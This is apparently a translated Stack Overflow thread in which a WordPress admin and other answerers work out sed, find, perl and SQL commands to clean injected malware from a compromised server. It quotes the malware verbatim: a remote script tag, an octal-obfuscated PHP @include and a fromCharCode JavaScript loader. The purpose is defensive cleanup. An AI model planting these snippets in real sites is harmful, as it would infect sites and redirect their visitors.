Как заменить всю строку, используя sed или, возможно, grep

10

Таким образом, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый файл и в базу данных

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Я поискал через grep используя

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Я пытаюсь заменить его во всей файловой структуре, sedи я написал следующую команду.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

index.phpСначала я пытаюсь заменить строку в одном файле , поэтому я знаю, что это работает.

и я знаю, что мой код неверен. Пожалуйста, помогите мне с этим.

Я попытался с кодом @ Eran, и он удалил всю строку, что хорошо и как ожидалось. Тем не менее, общий жаргон это

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

И хотя я хочу удалить весь контент, я хочу сохранить открывающий тег php <?php.

Хотя решение @ slybloty легко и оно сработало.

чтобы полностью удалить код из всех затронутых файлов. Я запускаю следующие 3 команды, спасибо всем вам за это.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Удалить строку скрипта
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- убрать @includeстроку
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - удалить строку комментария

Кроме того, я снова запустил все 3 команды '*.html', потому что скрипт хакера создал нежелательный index.html во всех каталогах. Я не был уверен, что удаление этих index.html навалом является правильным подходом.

Теперь мне все еще нужно выяснить ненужные файлы и их следы.

Хакерский скрипт также добавил код JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Пытаюсь посмотреть, смогу ли я sedэто тоже.

Дилип Гупта
источник
Откуда ты знаешь, что твой код неправильный?
бета,
Потому что я запустил его, и он продолжает запрашивать дополнительную информацию в следующей строке, как `>`
Дилип Гупта
2
Вы не можете просто удалить строку? sed -i '/ trasnaltemyrecords / d'
Эран Бен-Натан
1
Кроме того , вы можете добавить свой Grep там кормить все файлы с этой строкой в них , как это: вариант обеспечивает только имя файла , а не соответствующий текст. while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
Джейсон
1
Еще одна вещь ... Если вы воспользуетесь этим подходом, я бы воспользовался необязательным параметром «back up» для sed -i. Например, sed -i.bakсоздаст *.bakфайл для всех файлов, которые редактируются. При использовании с while...grepциклом вы будете выполнять резервное копирование только тех файлов, которые содержат эту строку. Извините за все дополнительные комментарии, но, на мой взгляд, вредоносное ПО - это сценарий «все руки на колоде».
Джейсон

Ответы:

2

Используйте двойные кавычки ( ") для строки и не избегайте одинарных кавычек ( ') и тегов ( <>). Только избежать косой черты ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
slybloty
источник
2

Какой бы метод вы ни решили использовать с sed, вы можете запускать несколько процессов одновременно для нескольких файлов с идеальными параметрами фильтрации с помощью findи xargs. Например:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Это будет:

  • find - найти
  • -type f - только файлы
  • -name '*.txt' - что конец с php
  • -print0 - Притни их разделить нулевыми байтами
  • | xargs -0 - для каждого файла, разделенного нулевым байтом
  • -P7 - запустить 7 процессов одновременно
  • -n1 - для каждого файла
  • sed - для каждого файла запустите sed
  • -i - отредактируйте файл на месте
  • '...' - Sed скрипт, который вы хотите запустить из других ответов.

Вы можете добавить -tопцию, xargsчтобы увидеть прогресс. Смотрите man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).

KamilCuk
источник
2

Одиночные кавычки взяты буквально без escape-символов. В var='hello\'', у вас есть не закрытая цитата.

Чтобы решить эту проблему: 1) Используйте двойные кавычки для окружения sedкоманды ИЛИ 2) Завершите строку в одинарных кавычках, добавьте \'и снова откройте строку в кавычках .

Однако второй способ более запутанный.

Кроме того, sedможно использовать любой разделитель для разделения команд. Поскольку у вас есть косые черты в командах, проще использовать запятые. Например, используя первый метод:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Используя второй метод:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Этот пример скорее образовательный, чем практический. Вот как это '\''работает:

Первый ': конец текущей кавычки литеральной строки

\': Введите одинарную кавычку как буквенный символ

Второе ': введите введенную в кавычки буквенную строку

Пока там нет пробелов, вы просто продолжите свою sedкоманду. Эта идея уникальна для bash.

Я оставляю сбежавших <и >там, потому что я не совсем уверен, для чего вы используете это. sedиспользует \<и \>для обозначения соответствия слов. Я не уверен, является ли это намеренным или нет.

Если это ничего не соответствует, то вы, вероятно, хотите избежать экранирования <и >.

Изменить: Пожалуйста, смотрите решение @ EranBen-Natan в комментариях для более практического решения актуальной проблемы. Мой ответ - это скорее источник информации о том, почему OP запрашивал дополнительные входные данные своей оригинальной командой.

Решение для редактирования 2

Чтобы это работало, я делаю предположение, что у вас sedесть нестандартная опция -z. Версия GNU sedдолжна иметь это. Я также делаю предположение, что этот код всегда появляется в формате длиной 6 строк

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Как это работает: мы используем начало строки fromCharCode, чтобы соответствовать всему. -zразбивает файл на нули вместо новых строк. Это позволяет нам искать прямые переводы.

[^\n]*\n- Это соответствует всему до перевода строки, а затем соответствует переводу строки, избегая сопоставления с жадным регулярным выражением. Поскольку мы не разделяем переводы строк ( -z), регулярное выражение var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nсоответствует максимально возможному совпадению. Например, если бы вы \n}\nоказались где-то внизу в файле, вы бы удалили весь код между ним и вредоносным кодом. Таким образом, повторение этой последовательности 6 раз соответствует нам до конца первой строки, а также следующих 5 строк.

grep -lr- Просто рекурсивный, grepгде мы только перечисляем файлы, которые имеют соответствующий шаблон. Таким образом, sedне редактировать каждый файл. Без этого -i.bak(непросто -i) устроит беспорядок.

Джейсон
источник
Спасибо @ Джейсон, я попробую твой метод для этого. Сейчас у меня нет возможности для резервного копирования. Так что я застрял с очисткой.
Дилип Гупта
@DilipGupta Я бы предложил сделать резервную копию, где вы сейчас находитесь. Вы можете использовать что-то вроде rsyncрезервного копирования и восстановления.
Джейсон
Вы используете adminer.php? кажется его заразным
Jiro Matchonson
1

У вас установлен плагин wp-mail-smtp? У нас одно и то же вредоносное ПО, и у нас были странные вещи wp-content/plugins/wp-mail-smtp/src/Debug.php.

Кроме того, ссылка на JavaScript находится в каждом post_contentполе в wp_postsбазе данных WordPress.

skuroedov
источник
Да, у меня установлен этот плагин, и он там, как вы сказали. Я пытаюсь сначала убраться, а затем ужесточить меры безопасности. Также обратите внимание, что хакер установил плагин под названием super-socialat, проверьте это также.
Дилип Гупта
Что именно вы нашли в этом Debug.php, я не нашел там ничего странного, но, возможно, он хранится в другом файле, если вы предоставите некоторую часть кода, я мог бы, возможно, найти файлы, пожалуйста? Не найден новый установленный плагин.
Джиро Матчонсон
1
Какой редактор вы использовали? Если я открою это в vim, я смогу увидеть это, но не в nano или в каком-нибудь редакторе, например, Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov
Привет, я смотрел на это через winscp, но теперь также попробовал vi, но ничего не нашел. Tnx много например я попробую поискать его в файлах.
Джиро Матчонсон
С некоторой точки зрения это кажется SQL-оператором, который пишется с использованием буквенных букв в переменной $ GLOBALS или чего-то подобного, поэтому его нельзя найти, просто ища "trasnaltemyrecords". Я пытался найти grep -r "NULL. ); @ $ "/ var / www / html / { ,.} или другие вещи, но ничего не нашли. В любом случае у меня был старый файл adminer.php на странице WordPress, чтобы он мог быть источником этой утечки, может быть ..
Джиро Матчонсон
0

Сегодня я получил то же самое, ко всем постам на странице добавлен этот противный вирусный скрипт

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Я отключил его от базы данных

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

У меня нет файлов, зараженных по крайней мере

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

не нашел ничего, но я понятия не имею, как это попало в базу данных, из которой вообще не спокоен.

Эта инфекция вызывала перенаправления на страницах, хром в основном обнаруживает и блокирует это. Не заметил ничего странного в - /wp-mail-smtp/src/Debug.php

Джиро Матчонсон
источник
Я предполагаю, что это связано с некоторым разрывом плагина, и хакер получил доступ к сайту через черный ход.
Дилип Гупта
Но какой плагин прошел 2 часа и все снова перенаправило
Jiro Matchonson
0

У меня сегодня то же самое, ко всем постам на странице добавлен скрипт. Я успешно справился с ними, используя плагин https://en.wordpress.org/plugins/search-and-replace/ .

Кроме того, я также нашел одну запись в столбце post_content таблицы wp_posts со следующей строкой:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

и удалил его вручную.

mik013
источник
0

Для меня сработало это:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Вы должны искать: * .js, * .json, * .map

Владимир Малик
источник